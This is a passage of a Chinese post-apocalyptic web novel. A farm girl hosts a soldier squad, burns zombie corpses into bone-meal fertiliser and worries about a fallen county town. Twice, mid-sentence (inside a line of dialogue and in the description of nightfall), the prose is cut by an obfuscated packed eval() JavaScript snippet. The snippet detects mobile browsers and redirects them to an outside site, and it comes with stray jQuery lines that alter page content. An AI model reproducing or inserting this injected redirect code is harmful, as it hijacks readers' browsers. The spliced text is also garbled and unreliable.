不愧是给她“人形兵器”第一印象的男人,优秀的肩背线条,那胳膊看着跟她大腿似的,湿淋淋的小麦色皮肤映上一点暖色烛光,上半身仅一件黑T恤湿透后紧紧贴在皮肤上勾勒出明显的肌肉轮廓,再往下蜂腰没入随意扎起袖子的灰色作战服,在这具称得上完美踩在她审美点的身体上画出一条黄金分割线。
腿真长啊
时枌不禁感慨。
她倒是挺自然地说了句“看完了”,然后转身往后院走,不带丝毫留恋。
赵弋低头看了看自己。
所以,到底是看完什么了?
因为赵队提前完成任务回归,第二天秦丰跟叶枝蔚就得去善后。
晚上小队成员在一楼客厅交接了任务。
秦丰一脸生无可恋趴在桌子上,烤鱼都不想吃。
西池跟孙金倒是吃得很快,生怕谁跟他们抢似的,秦丰都懒得说厨房水缸里还有半缸鱼。
他就知道赵队带人出去做任务会提前归队,他早该预料到的,他俩又不是第一次搭伙。
正常任务周期一个月,但赵弋这个人追求效率,喜欢迅速且一次性把事情干完,然后剩下的任务时间就磨磨蹭蹭四处清理丧尸或者搜寻物资。
赵队每次两天就能干完一个月的活,随队的人总是痛并快乐着。
这也是为什么他今天就把他们一个月的“房租”拖回来了。
“时枌跟我说如果有多的丧尸也可以拉到她这边来换物资。”秦丰说,“那我们明天还要不要开卡车过去拖丧尸?”
也不知道她一个小姑娘要那么多丧尸尸体干啥。
上百具尸体堆在自家后院不瘆人嘛?
“我们明天负责清理阳县内丧尸,还得开两辆车回来,没人开卡车了。”叶枝蔚说。
赵队带着西池和孙金今天处理了上千丧尸,也就剩下一百出头需要他们清理,加上今晚跟随尸潮零零散散过来的估计也不多。
因为根据西池的观察,他们一天杀光上千丧尸之后尸潮速度明显变慢了。
另一项任务就是清理阳县军事基地,补充武器弹药。
至于阳县的丧尸尸体也只能暂时留在那边,等下一次赵弋出任务再拖一部分回来。
“你们路上没遇到别的人类吧?”叶枝蔚问道。
西池摇摇头,“没有,只有丧尸。”
叶枝蔚跟秦丰松了口气。
这年头在外边不怕遇到丧尸,最怕的是遇到正常人类,尤其是荷枪实弹的人类。
不是每个人都像时枌这样通情达理的。
因为明天一早就要走,秦丰想着至少要给时枌准备一顿早饭,当晚琢磨了下食材,看那几个土豆是真的不能再放了,心里有了菜谱。
明早做个鸡蛋饼,正好食材也够,面粉鸡蛋小葱都有,再做个土豆泥,配上黑椒,正好他今天晚上先做酵母,等两天后完成任务就能回来做包子馒头。
小队商量完事,又分了男女宿舍,西芹跟叶枝蔚住一个房间,他们三个男人住一起,西池跟孙金都累了直接进房间睡觉,秦丰则是一头扎进了厨房开始忙活。
赵弋这一整天肾上腺素狂飙,肌肉酸疼已经找上门,他除了喝营养液跟短暂休息就是在清理丧尸搬运丧尸,又洗完澡吃了东西,原本疲惫的精神被迫活跃起来,一时没有睡意,去厨房看秦丰在做什么。
副队秦丰拿出一个玻璃罐子,放入面粉跟水搅和然后密封,又清点明天要用的鸡蛋跟土豆,然后把一堆调料混合在一起用罐子装好,取了一小部分装进塑料袋层层密封自己收起来,——这是他答应给时枌做的烧烤料。
赵弋:“……”
他的副队好像转业成厨师了。
“老赵,这两天我不在,水缸里的鱼都是我们钓的,时枌说了我们自己处理自己吃,但是你做饭也考虑考虑人家小姑娘,顺便给她做一份哈,我看时枌挺喜欢吃面条,这样,我今晚给你把面条做好,这样你后天还能给人家做早餐,记得加鸡蛋跟青菜哈……”
“什么青菜?”
“就小白菜。”
赵弋看了眼厨房窗户外的菜园,声音淡漠:“哪一块地?”
秦丰:“……”
赵弋:“?”
外边一眼望去一大片都是绿的,不都是青菜?还分什么小白菜大白菜?
秦丰:“我迟早给小白菜竖块牌子。”
以示正统。
***
第二天早上秦丰跟叶枝蔚就出门上班……哦不,出任务去了。
时枌早起吃完秦大厨独家配方的鸡蛋饼还有黑椒酱的土豆泥整个人都得到了升华,再看向一楼沉默的三人组,深深叹了口气。
她还是更喜欢秦大厨跟叶枝蔚。
眼前这几个,一个沉默寡言,一个色欲熏心,还有一个忙着保护妹妹看起来清澈又愚蠢。
算了,时枌想着,也懒得跟这个几个人商量分工问题了,正好今天她去后院收拾那群丧尸。
但出门之前还是按照秦大厨的嘱咐“喂”酵母。
秦丰用她厨房里一个玻璃糖果罐养酵母,昨晚已经用小麦粉跟水1:1搅合好,今天看起来表面有一点点水,底下也有气泡,看样子是酵母菌开始工作了。
按照秦大厨说的,挖走一半,再加两勺小麦粉以及两勺水,搅合好密封放回原位。这样就算是喂完了。
想着等秦大厨回来就能吃上包子,时枌颇为慈爱地摸了摸玻璃罐,内心鼓励它们好好生长,这才出门。
西芹看她要出门连忙跟上来,问她她今天有什么工作。
时枌:“你都搬到楼下去了,没必要再帮我干活吧?”
西芹却说:“我白吃白住也不合适,正好我待着什么也不会,还能跟你学习学习。”
楼下两间房有锁的那一间给了叶枝蔚跟她,钥匙也是时枌交到她手里的,这样明显的保护西芹当然知道。
时枌想了想,就给她安排了个轻松的活:喂鸡鸭鹅牛羊等等。
饲料她都配好了,只跟她交代哪个是给哪个吃的就行,另外就是院子里那一片青红菜薹已经过季没法再吃,需要拔掉砍碎喂鸡,再就是翻地重新种植别的作物。
刚开春,正是种瓜点豆的时节,时枌这里的种子只有多没有少的,正好今天又到了一批肥,等施肥翻地再播种。
想起肥,时枌看看屋子里其他三个男人,扬声问:“你们谁帮忙挪车我好卸一下物资?”
西池下意识想站起来帮忙,但是他的车技吧,几乎可以说没有。
“我不太会开车,那辆卡车是队长开回来的,队长,要不…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622815|156201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…”
被安排了的赵队:“……”
时枌:“挪一下车就行。”
她都这么说了,他也不好意思不配合。
时枌看他已经站起来,让他先过去,自己则是去工具房拿装备。
她一边往自己身上套雨衣一边指挥赵弋倒车。
后院铁丝网外有一个大坑,平时这块地方没什么人注意,而且冬天时候时枌拿油布盖了起来,一个冬天过去上面堆积了不少腐烂的枯枝烂叶。
赵弋从车上跳下来的时候就看见她跟个屠夫似的,一身雨衣盖住全身,手上还有一双长的胶皮手套,脚踩黑色雨靴。头上戴了雨衣帽子,护目镜口罩包裹得严严实实。
像个深夜杀人狂。
他刚想提醒她这些丧尸都死透了,不会暴起咬她抓她,丧尸病毒只有抓伤咬伤才会爆发,也不需要戴口罩。
就看见这个比他矮了一个头的小姑娘掀开油布,连带着枯枝烂叶一起丢到旁边,然后动作灵活的跟只兔子一样三两下爬上了卡车,踩在堆积的丧尸上开始工作,准确来说,是开始“抛尸”。
一具具丧尸尸体被她拽起往下扔,精准扔进大坑内,骨架摔得噼里啪啦响,还有些比较“多汁”的丧尸丢下去啪唧啪唧的,声音听起来滑稽又怪异。
这些皮肉腐朽的丧尸虽然没有正常人类那么沉重,但亲手把这些丧尸搬到车上的赵弋很清楚它们几斤几两。
更何况是足足一卡车丧尸。
她要一个人自己卸完?
他至少是个男人,没办法冷眼旁观。
于是他去把油布折叠收好放到一边干净的地方,然后踩着车轮手一够就抓到车护栏轻松上车,俯身帮忙扔丧尸。
这种主动让时枌对他的印象好了不少。
“我去给你拿双手套?雨衣跟雨靴也有。”她客气问道。
“麻烦了。”
他没拒绝。
他们昨天那身作战服今天还在晾晒,现在穿的就是普通黑色长裤黑色短袖,手套都没有,赵弋扔丧尸的时候完全靠抓住大骨头往下扔,手当然会脏。
她去拿装备,赵弋去后院洗手。
再换上跟她一样的雨衣雨靴手套。
以前爷爷奶奶会带着她一起处理丧尸,这一套是爷爷的,爷爷已经算高个子了,那件大雨衣套在赵弋身上却还是会露出小腿,不过好在雨靴够长,应该没问题。
两人此前从未合作过,竟然看上去也十分默契。
时枌甚至还一边哼着歌一边干活。
很快,这一车丧尸尸体就被全部丢入大坑之中。
他们把这忙完的时候,西芹也喂完了牲畜,红菜薹菜地也被清理出来,简单洗了手就过来找时枌。
猝不及防看见一坑的丧尸尸体,被吓愣在原地。
“时、时枌……你要做什么?”
刚从卡车上跳下来的时枌轻轻松松拍拍手脱下沾满血污的雨衣,问她:“你能帮忙洗一洗吗?”
又解释道:“我要处理这些尸体。”
西芹脸色有些白,点点头,拿起两套雨衣装备去后院冲洗,时不时回头看看她的动作。
时枌抱来一堆稻草,又倒了点汽油,——她平时搜刮物资存下来的。
她又没有车,所以汽油留着都是来处理丧尸。
赵弋就这样看着她拿起一根火柴扔进坑内,火焰缓缓弥漫开,空气中也渐渐有了焦糊的味道。
这味道并不好闻。
他此时才明白这个深坑为什么在后院远离房屋而且是下风口的位置。
她的口罩也不是白戴的。
但赵弋还是不明白她烧这些丧尸尸体做什么。
病毒爆发之前人类确实有火葬的习俗,讲究入土为安,难道她这样是为了抚慰亡灵?
但也不能这样几百具尸体一起烧吧,挺……不尊重尸体的。
他朝她投去一个略带疑惑的眼神。
时枌自然而然地把他这个眼神当成了“还有没有别的需要帮忙”的意思。
女孩欢快的声音响起:“一会记得帮我翻面,要把所有尸体都烧干净,然后锤成粉末……”
赵弋:“……为什么?”
“沤肥啊。”
赵弋沉默了。
这触及到了他的知识盲区。
7. 第 7 章
种菜,必不可少的就是施肥。
时枌养牲畜也会收集它们粪便来腐熟作为肥料,尤其是那几只羊贡献最大。
羊主食草,羊粪还是规整的一颗颗小球的形态,不像一些液体那么恶心,再加上味道没那么臭,肥效也相对温和,是最适合用来做肥料的材料。
但时枌只有三只羊,并没办法负担一整个农场的瓜果蔬菜以及果树花草。
用丧尸来沤肥还是以前爷爷奶奶想到的法子。
病毒爆发,他们在电视上看到了新闻,知道那些行走的尸体其实已经死亡,再遇到丧尸也就没了之前的犹豫怜悯,处理后为避免瘟疫爆发,每次集中一部分尸体就会一起烧掉,而烧下来残余的骨头跟粉末如果再另外挖坑埋葬也分不出谁是谁的,干脆就撒到菜地,意料之外肥效十足。
毕竟是骨粉,富含钾,促花促果的优质肥料。
这个坑原本也没有这么大,每次烧完时枌都会拿铁锹铲一层表面的土一起当肥料,慢慢地也就变这么大了。
最近几年农场附近丧尸越来越少,几乎都被她清理干净,去年冬天也只是给农场果树施了一点肥,时枌原本都想着要不麻烦点自己平时用枯枝败叶堆肥算了毕竟这年头丧尸难抓,结果,他们就来了。
得知阳县还有一千多丧尸,赵弋会陆陆续续将尸体全部拖回来给她,时枌一整天心情都不错。
午饭在烟熏火燎中结束。
有秦大厨留下的烧烤料,甚至他还留了一份烤鱼食谱以及烧烤料配方,杀鱼去鱼鳞有赵弋,生火交给孙金,一顿午饭倒是相安无事。
时枌是会做饭的,但也仅限于会做,有多好吃就不指望了,但她那点厨艺加上秦大厨留下的秘籍,这一顿烤鱼也勉勉强强有昨晚秦丰七成功力。
鱼倒是杀的很干净,赵队不会下厨,用刀却是一把好手。
收拾残局的时候,孙金负责收垃圾,一双小眼眯起,笑嘻嘻看向外边猪圈里的猪,似是开玩笑地说了句:“十几年没吃上猪肉咯,时枌,什么物资能换你一头猪啊?”
时枌瞬间冷脸。
她好不容易养到现在有十几只猪,现在天气越来越热没办法杀,猪大多是留着过冬的,天冷了杀两头猪不容易腐烂,还能做成火腿或者腊肉方便保存。
现在要是杀一头,他们一共七个人倒是正好可以两天内吃完。
只是他们刚刚住下来才第三天,就觊觎她的猪?
这话要是秦丰或者叶枝蔚开玩笑跟她开口她倒是没什么,但如果是孙金,她很难有什么好脸色。
明显,孙金话一出气氛就冷了下来。
西池没忍住说:“那都是时枌的物资,我们没权利让她跟我们换,我反正不是一定要吃猪肉,你要是想吃可以去山上找野猪。”
闻言孙金扬起眉毛看向西池:“哟,出了趟任务胆子都大了?真觉得自己牛b了是吧?”
西池咬牙刚想反驳,赵弋冷冷瞥了一眼孙金。
孙金收回眼神鼻孔出气,去扔垃圾了。
时枌也就当自己没听见,收好烤炉跟餐具,西芹紧紧跟上她去厨房主动刷碗。
“下午有什么任务啊?”
“我要去外院开地,你跟我一起?”
“好!我也想跟着你学一下怎么种菜!”
西芹看着可比外边三个男人可爱多了,刷完碗时枌带着她去工具房拿铁锹钉耙还有手套雨靴,去前院开垦菜地。
后院正在烧丧尸,又热又熏,不适合干活。
院墙内都被她种上了菜,除了院子大门跟后门有两条水泥道外,菜园跟牲畜栅栏前都是青石板铺路,间或种了一些果树,这个季节正是桃花开,前院靠着墙有成年人大腿粗的桃树枝桠一半在院内一般在院外,花瓣早就落了一地,零零散散几朵嫣红桃花,新叶也展开。
这棵桃树年纪也挺大,但最开始院子里并不是它。
爷爷奶奶养了一棵水蜜桃树,因为幼苗时期没有管理,养成了两根同高度的主干,后期修剪也没来得及,结果两根主干越来越粗,没几年到了秋天果实累累一下子就将桃树压得从中间劈开,再加上夏季雷电正好劈在中间裂开的位置,整棵桃树都死了一大半。
无奈之下就又高压了两棵树,存活了这一棵,算起来这棵水蜜桃树也有十岁了,时枌也打算再高压几棵种到别处。
正好今天都来前院干活了,顺便挑几根枝条高压。
时枌挑了根两指粗的枝条,用小刀剥皮,一边跟西芹讲解:“要剥到白色这一层,但是也不能太深,这样就差不多了。”
然后用她捡的青苔拿塑料袋把剥皮的这一圈包起来。
“保持湿润,等它发根了再把这根枝条砍下来,就是一棵新的树了。”
“那就是要经常浇水?”
“嗯,没错。”
“原来是这样!我以为只能播种呢。”
“播种太慢了,桃树播种到长大时间太长,直接高压能节省时间,就当是修剪枝条。”
时枌一口气高压了五根枝条,打算之后在池塘附近种下去。
忙完桃树,两人才开始开垦菜地。
外院,也就是石墙外铁丝网内的区域就是普通的黄土地,没有水泥覆盖,平时都是一片杂草,现在春天更是杂草丛生没有下脚的地方,时枌拿石灰画出一块区域,表示今天就开这块地,用来种辣椒。
首先第一步就是除草。
这年头没以前那么好的条件,除草全靠人工。
虎子都跟过来帮她用牙拔草,干得热火朝天。
时枌摸摸虎子脑袋:“比男人管用多了。”
坐在院墙上晒太阳围观的西池:“……”
正好路过的赵弋:“……”
感觉被阴阳了呢。
拔了草,骨粉暂时也没好,就先休息休息,想想晚饭吃什么。
再去给小狗们喂点羊奶。
时枌原本是没有羊圈的,后来偶然上山捡到了两只羊,今年冬天母羊生了只小羊,正好能有羊奶喂给小狗们。
因为大熊实在太负责任,最近家里陌生人多,它大多都在屋子里看着他们,对小狗也不怎么上心,经常把小狗们饿得呜呜叫。
今天一早西芹帮忙喂了米糊,下午时枌有空就挤点羊奶再喂喂小狗。
两只羊跟时枌很熟悉了,并不抗拒她的靠近,但是对西芹还是警惕,西芹只敢在羊圈外待着。
“它叫奶牛,它妈妈叫小白,爸爸是小黑。”时枌跟西芹介绍道。
西芹默念这三只羊的名字,目光落在可爱的小羊身上。
小羊通身雪白,个子只有妈妈的一半,一双清澈的大眼睛看着她,唯独后脑勺有一块黑,勉强算得上黑白双色吧。
难道是因为配色才叫奶牛?
倒也……情有可原。
“这一块区域有点拥挤了,我看等叶枝蔚回来问问她能不能跟我一起扩建一下。”时枌把羊奶放到小狗的窝里,小狗们立刻过来埋首开喝,虎子就在一边看着馋得流口水。
羊圈多了一只小羊,猪圈也因为生了八只小猪而显得拥挤,鸡鸭鹅更是,太乱了,时枌都不想进去打扫卫生。
是时候扩建一下了。
但家禽养在外院一是不方便照顾,二是太吵容易引来丧尸或者其他人类。
所以铁丝网外最好再做一层防护,比如用铁板挡住……
还需要好好规划一下。
时枌想起他们任务目标阳县。
阳县比她的农场要大得多,说不定会有合适的物资给她扩建农场,但是……那是他们的任务目标,如果她要去搜寻物资,是不是意味着要跟他们抢?
时枌只有自己一个人,枪械足够,但她也没有把握能完完全全靠武力“说服”他们。
赵弋是小队队长。
想来在队伍中也有一定的话语权。
最好的办法还是跟他谈一谈。
四只小狗喝饱了奶小肚子都鼓起来,剩余的羊奶就交给虎子来清理,时枌拿旁边的旧布给小狗们擦嘴擦手,收拾干净了才放到铺好的窝里面。
小狗们开始叠叠乐,你压着我我压着你闭着眼睛睡觉,一身奶味。
看得西芹心都化了。
时枌摸摸小狗们,又把奶盆收好,看着夕阳西沉,小狗像是感应到她的手心往上顶了几下,鼻子也跟着嗅了嗅。
小狗中三只遗传爸爸的虎斑,老大老二跟亲爹差不多,老三通身全黑,老四是最小的,颜色偏黄,有黑色斑纹,勉强也算是小虎斑,但是斑纹比老大要少一些,个子也偏瘦小,常常被压在中间,时枌担心它被压坏每次看见都会给它们挪挪位置,平时喂食也会盯着老四吃饱,现在出生半个月了,老四体型跟哥哥姐姐们看着差不多了时枌才没干扰。
可能是大熊平时教过它们,小狗们拉臭臭都会出窝去菜地里拉,时枌也见过虎子把崽子们叼到菜地让它们拉,因此现在狗窝里都是干干净净的。
小狗长得快,几乎一天一个样。
叶枝蔚帮忙做的新狗窝,大熊跟虎子是单狗单间,屋顶改成了人字形,铺了一层防水油布,内里垫了稻草跟旧衣服,小狗们的窝要大一些,简单的拿木板盖了顶,因为等小狗长大时枌还得给它们单独做窝,现在做也没什么用。
西芹忽然问时枌有没有不要的布料旧衣服或者棉花。
“我看它们很快长大,到时候也得去屋子里住的吧?我会做狗窝,就那种塞棉花的垫子,这个很简单的。”
时枌倒是有不少。
丧尸爆发后死的人太多了,这周边除了阳县这个小县城也有不少人家,基本上都没能活下来,她搜集的物资当中自然也有不少旧衣服旧布,至于棉花是她去年收获的,用来做棉被还剩下了不少。
不过狗窝可以先放一放,时枌先去后院看看骨粉烧的怎么样了。
经过大半天的燃烧,赵弋时不时经过会帮忙给尸体翻面,再添柴,这会儿已经烧得差不多了。
大坑里丧尸尸体下沉了一大半,几乎是贴着坑底,底下温度还没有完全降下去,隐隐有火星,时枌只能站在坑外拿铁锹不断翻动碎骨头来降温,再拿铁锹拍一拍,把骨头拍得更碎一些。
这样等明天白天再收集起来压碎,就可以当成骨粉施肥了。
天已经完全黑了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622816|156201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下来,时枌在坑边干得热火朝天,看样子差不多了才收手,抬手擦汗时,正好有人递过来一杯水。
时枌抬眼看向来人。
赵队长一手一个玻璃杯,站在离她半米左右的距离递过来,一声不吭。
时枌:“谢谢。”
接过,一口气喝完。
“你可以给我们安排一点事情做。”他说。
显然,这个“我们”包括他、西池还有孙金。
“可以吗?”时枌挑眉。
女孩额间有薄汗,一双眼睛在夜色中却显得格外明亮不带一丝疲惫,甚至还有几分揶揄挑衅意味。
那双眼睛似乎是在问:我能使唤得了你跟你队员吗?
“可以。”赵弋点头。
他向来说话算话。
“那正好,”时枌扬起一个笑来,“靠墙的那些牲畜栏需要清扫,水管可以接过去清洗,当然,要先清扫一遍,收集粪便作为肥料。”
此话一出赵队都沉默了。
“全部?”
“扫都扫了,反正也不多嘛。”
赵弋平静地深吸了一口气。
“好。”
***
阳县。
经过赵队带人“扫荡”,此时的阳县除了一些零零散散的丧尸外已经没有了尸潮的威胁。
原本他们以为尸潮前方是更多的丧尸,结果没想到它们的目的地是阳县,距离不算太远,只要人手足、子弹够,就能清理干净。
“不愧是‘清道夫’啊……”
秦丰一边干活一边感慨。
他跟叶枝蔚到阳县这一路沿途见到不少尸体,大部分都是后颈破开、头骨炸裂,小部分伤口错落一眼就能看出扎了几刀才能破坏脊椎,——明显是西池在练手。
谁也不是天生就会杀丧尸。
赵弋跟他们不一样,早早就是保护区高级指挥官,而高级指挥官又被他们戏称为“清道夫”。
毕竟他们的宗旨是:彻底清理丧尸。
保护区对指挥官的选拔极其严格,首先要求是要有野外求生能力以及极强的身体素质,这两点参考末世前特种兵选拔标准,其次是三个月内积分过万,而赵弋这人,秦丰偷看过他手表上的积分余额,他数了半天才反应过来那是六位数。
要知道保护区附近丧尸已经极少,指挥官跟普通士兵只能靠外出任务赚取积分,保护区成立十四年,赵弋也才二十七,就算他从十六岁开始杀丧尸,他一年得杀多少才能攒这么多?说是丧尸收割机也不为过。
丧尸收割机的清理下,秦丰跟叶枝蔚没费多少功夫就到了仓库门口。
所谓阳县,实际已经缩小到了很小的区域,以仓库为中心构建起了防护,看规模在此生活的人数百人左右,他们尸体腐烂程度跟随着尸潮而来的丧尸有着明显的区别,一眼就能看出。
秦丰正在想办法开锁,眼角余光瞥到叶枝蔚愣在一处没动,扭头想提醒句什么,就看见她面前的画面。
那不是丧尸,是正常尸体模样,一身军装,身体被枪带挂在墙上突起的一处铁尖,后脑炸开,保留下一张完好的脸,脚边安静躺着一支手枪。
他们并不知晓这里发生过什么。
是被尸潮冲垮防护以至沦陷?还是另有其人试图占领?
而他们面前这个看上去中年人模样的士兵到底经历了什么,才会挂在这里,亲手了结自己的生命。
末世初期,的确曾有一部分人坚持认为丧尸与人一样,只是短暂迷失了心智,如果研制出解药就能拯救所有转变的丧尸。他们不忍心对曾经的同伴下手,试图圈禁丧尸静静等待救世主到来的那天。
结果是被圈禁的丧尸意外爆发,迅速感染了整个村子的人。
秦丰是坚定认为“丧尸不可逆”的那一部分,只要这个世上没有起死回生的药,他就永远不会相信这群被打断手脚、内脏脱落的行尸走肉能有重新变回人的那天。
面前这具中年男人安静闭着眼。
秦丰叹了口气,拉起叶枝蔚的手腕,“别看了,找点工具把仓库打开,等忙完咱们再抽空给他挖个坑埋了。”
单人单坑埋了,这是末世时代对尸体的最高敬意。
如果知晓姓名生平还能立个碑,但他们素昧平生,再加上他们也没办法在这里耽误太久,仪式精简一点也正常。
叶枝蔚却扭头古怪看了他一眼。
“你知道正常死人的眼睛是睁开的吧?”
“啊?”
叶枝蔚抿了抿唇,重新解释了一遍:“正常的死人眼睛是无法闭上的,因为尸体僵硬肌肉固定了,就算用手合上也会再次打开。”
秦丰再看向这具看似安详的闭眼尸体,后背猛的蹿上一股凉意。
“你的意思是……别人来过……可能还不止一次,帮他闭眼?”秦丰脑子有点乱,“那有没有可能是昨晚老赵他们干的?”
他们正在说话,面对着他们的尸体忽然睁开了眼。
那双带着死灰的棕色瞳孔越过他们,定定地注视着某个方向。
这张灰白的脸,因为这个睁眼的动作莫名染上几分活人般的生动。
8. 第 8 章
“你们之前定的两天的任务目标还作数么?”
夜色漫漫,屋内只点着几盏灯,孙金在自己屋子里,西池跟西芹兄妹出门去了,估计是两人有什么私事要聊一聊。
以至于一楼只剩下时枌跟赵弋。
“定的是任务量,不是时间。”赵弋正坐在一楼餐桌边,手里捏着块木头用小刀雕着什么。
说实话,他刚跟西池一起把她所有牲畜栏都清理了一遍,按照要求粪便集中堆放到后院铁丝网旁边的甘草上,再用水管清洗水泥地,尽管他事后就去洗了澡,但总觉得自己身上有股怪味。
以至于到现在,赵队都有点丧。
他们这次两个任务目标,一是观察尸潮,二是搜寻物资,有了四辆车一辆卡车,汽油也足够他们开车回保护区,剩下的等待后续部队就行。
他昨晚清理了大部分丧尸,余下这些交给秦丰跟叶枝蔚足够,他们再补充弹药,任务可以说全部完成。
至于任务周期一个月,他不在乎。
等一个月期限到,他再通知保护区大部队,这是正常操作。
当然,仅限赵队的正常操作。
“所以,你们去的一天一夜十分顺利?”
她这话问得没头没尾,赵弋手上动作停顿,掀起眼皮看向她。
原本就是极具压迫感的长相,他这么侧头抬眼看过来的瞬间威势骤增,时枌也不明所以对上他的目光。
“你的意思是,我们不该这么顺利?”
今天一整天时枌除了对西芹热络一些,对他跟孙金还有西池都是不咸不淡的,稍稍动动脑筋回忆昨晚他们几个又是烤鱼又是炖大鹅的和谐氛围也能知道其中缘由。
时枌并不欢迎他们几个,她跟秦丰和叶枝蔚更处得来,这也没什么。
但现在明里暗里的嫌弃令赵弋觉得莫名。
“不是这个意思。”时枌轻叹口气。
今天斟酌许久,她不太清楚要不要仔细跟他们说阳县的情况,更何况她也不知晓他们具体任务细节,而这一个个装备精良训练有素,似乎也并不需要她提供的信息。
但今天出任务的是秦丰跟叶枝蔚。
如果没有昨天的相处,或许时枌也不至于心生担忧,但偏偏……她并不想失去秦大厨跟叶枝蔚。
“我的农场离阳县并不远,以前我跟阳县的人也有过来往,但……你们确定是只搜集物资,并不需要调查阳县沦陷原因,是吧?”
简单的“来往”两个字不足以概括全貌,但她能主动说出这句话已经算是坦诚。
“你知道阳县沦陷原因?”
“并不清楚。”时枌说,“那是冬天的事了,今年刚刚开春,我忙着春播,也是……无意中发现阳县的情况。”
农场距离阳县车程半小时,她没有交通工具,如果步行得四五个小时,路程太远,时枌再闲也不会平白无故走四五个小时就为去凑个热闹,不像他们任务在身,沿途还需要清理丧尸。
“但在你们之前,我见过一伙人。”
赵弋敏锐地压下眼皮,认真听她说。
“你也看得出来,我一个人这么大的农场,独木难支,而且明显物资过剩,我也坦诚一些,阳县起初的物资还有种子都是他们拿枪跟子弹还有这些铁丝网置换的,每年冬天下雪之前,他们会开车来取一批过冬的物资。”
“去年冬天也是如此,我看着他们将物资搬上车,他们给了我一个提醒。”
“就在他们来我这前不久,一伙人来到阳县谈判,试图用手中的资源交换他们仓库中的储存的资源。”
按她这么说,铁丝网是跟阳县人资源置换得来的,那他看见阳县铁丝网破开的大口子只能是另一批人的杰作。其实仔细想想时枌农场不小,那么一块卡车大小的铁丝网肯定不够,而且路程这么远,时枌也不可能辛辛苦苦就去破个口子把那么小块铁丝网拖回来。
她这里没有车,也没有马匹,一辆牛车还是老牛,今天他去清扫牛棚那头老牛还朝他鼻孔喷气,试图低头用牛角把他顶翻,脾气暴躁的很。
“他们提供什么资源?”赵弋问道。
“一些防寒的衣服。”
赵弋拧起眉。
用一些衣物换取阳县仓库内的枪跟子弹?更别说还有汽油跟卡车。
根据他之前去阳县的观察来看,阳县内部大概是一批丧尸爆发后存活下来的士兵以及居民,已经形成了小规模的秩序。
“他们拒绝了,但他们很不安。”
“那群人每个人都挎着枪,凶神恶煞,言语轻佻,奇怪的是被拒绝了也没恼怒。”
“再后来一整个冬天我跟阳县都没有联系,直到开春,我等着他们过来找我拿种子,结果久久等不到,我才去了趟阳县,正好就在你们到这里的当晚,我刚从阳县回来。”
难怪她那晚装备齐全,杀心那么重。
“你觉得是那群人干的?”
“嗯,”时枌点点头,“但你们说什么尸潮,我又想会不会是我想错了。”
时枌接触的人不多,大多都是好人,大家都秉持着末世前的处事原则,还没沦为只会掠夺的野兽,但这些良善的人却一个接一个地死去,偶尔时枌会在游荡的丧尸中看见熟悉的面孔。
那一瞬,她说不清是什么感受。
闷闷的,有点难受,但又不至于难受得哭出来,就怎么憋闷着,上不去,下不来,沉沉地悬在空中。
赵弋手里把玩着自己的手表,这东西她在叶枝蔚西芹身上也见到过,模样差不多,她看着他拨弄两下,末了依旧搭在手里。
“发消息让他们注意了。”他说。
原来刚刚是在跟秦丰和叶枝蔚发消息。
能及时通信就好,时枌也放了心。
时候不早,两人也没什么闲话可聊,时枌叫上大熊上楼休息。
自己的领地多了这么多陌生人,时枌依旧是锁门睡觉。
一楼到二楼楼梯直通,并没有门,不然时枌就可以直接锁门,整个二楼都是她的空间,夜晚上厕所也不至于那么小心谨慎,不过一楼有那个赵弋还有其他几个,倒是不用担心再有外人。
毕竟那群人比她可警惕多了。
躺在床上看着黑漆漆的天花板,时枌又想起他们手里的手表。
似乎是统一发放,再看他们身上都装备也很齐,那么叶枝蔚所说的“保护区”应该是很大的一座城市吧。
足以支撑通讯、武装、后勤保障,他们平时不吃饭只喝营养液,那东西能饱肚子吗?
时枌自小就跟着爷爷奶奶学着如何生活,填饱肚子是首要紧的事,由于没有电,食物不方便保存,而她又是独自一人吃饭,一日三餐着实苦恼,往往都是敷衍了事。
如今阳县沦陷,这片区域似乎也只剩下了她的小小农场,太过空旷,一旦被某些心怀不轨的人发现她农场内的资源必定遭受洗劫,而她一人两条狗,再多枪也无法抵抗。
又或者跟阳县一样,遇到尸潮呢?
庞大数量的丧尸能够推翻阳县的大门,而她的铁门又能支撑多久?
尸潮……这是一种新的自然灾害吗?
时枌想了半天,耐不住生物钟还是睡着了。
自从断了电,她这里的电器通通没用,钟表也在某天卡壳再也找不到准确的时间,一楼墙上的挂历也都是七八年前的,再没有新的时间。
对时枌来说,已经许久没有具体日期时间了,留给她的是朝阳、落日、春夏秋冬。
依靠云来简单预测第二天的天气,观察万物作息来感受时间的流逝。
第二天早上起床,意料之中没有早饭。
一想到秦大厨不在,她只能自己做饭就忍不住叹气。
不过还好,秦大厨留下了黑椒酱,她简单蒸个土豆就行了。
她下楼时西芹已经在一楼忙活,西芹不会做饭,只能扫地拖地收拾一楼,看见时枌笑着跟她打招呼。
此前西芹一直都是畏畏缩缩十分怕人的模样,不知道昨晚兄妹俩聊了什么,今天一早再看西芹的状态似乎好了许多,至少那个开朗的散发着满满朝气的笑足够点亮时枌没有厨子昏暗的一天。
“你吃土豆么?”时枌问她。
“可以!”西芹声音都大了不少,“刚好我生了炉子,正在烧水……方便晾凉喝。”
“那行。”
时枌去厨房拿出四个土豆,心想她们两人吃也差不多,再煎个鸡蛋……
